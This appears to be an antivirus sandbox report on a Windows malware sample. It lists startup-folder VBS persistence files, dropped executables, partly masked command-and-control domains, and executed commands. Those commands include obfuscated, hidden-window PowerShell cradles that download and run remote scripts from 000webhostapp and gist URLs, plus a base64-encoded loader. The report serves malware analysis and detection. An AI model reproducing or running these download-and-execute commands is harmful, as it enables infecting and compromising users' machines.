Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\updateab.vbs
- %APPDATA%\microsoft\windows\start menu\programs\startup\shvhost411.vbs
Malicious functions
Downloads
- https://video-cutter-online.com/download/rtz5lrqzsuvkuixr.mp3
Modifies file system
Creates the following files
- %LOCALAPPDATA%\hxittspym9caqduisprogr.exe
- %LOCALAPPDATA%\kzuxclfgmfg308iprogr.exe
- %LOCALAPPDATA%\8c5atajedjsolo.vbs
- %LOCALAPPDATA%\ksolo.vbs
Network activity
Connects to
- 'vi#####utter-online.com':443
- 'gi##.###hubusercontent.com':443
- 'ge########-impact.000webhostapp.com':443
- 'microsoft.com':80
TCP
HTTP GET requests
- http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt
Other
- 'vi#####utter-online.com':443
- 'gi##.###hubusercontent.com':443
- 'ge########-impact.000webhostapp.com':443
UDP
- DNS ASK vi#####utter-online.com
- DNS ASK gi##.###hubusercontent.com
- DNS ASK ge########-impact.000webhostapp.com
- DNS ASK microsoft.com
Miscellaneous
Creates and executes the following
- '%LOCALAPPDATA%\hxittspym9caqduisprogr.exe'
- '%LOCALAPPDATA%\kzuxclfgmfg308iprogr.exe'
- '<SYSTEM32>\wscript.exe' "%LOCALAPPDATA%\8c5atAjEdjsolo.vbs"
- '<SYSTEM32>\wscript.exe' "%LOCALAPPDATA%\ksolo.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://geographic-impact.000webhostapp.com/4141.tx...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noP -sta -w 1 -enc WwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAGIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABOAGUAdwAt...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://geographic-impact.000webhostapp.com/server/...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://gist.githubusercontent.com/fadadaw194mail1w...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://gist.githubusercontent.com/nimis23233mailhu...' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://geographic-impact.000webhostapp.com/4141.tx...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://geographic-impact.000webhostapp.com/server/...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://gist.githubusercontent.com/fadadaw194mail1w...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://gist.githubusercontent.com/nimis23233mailhu...
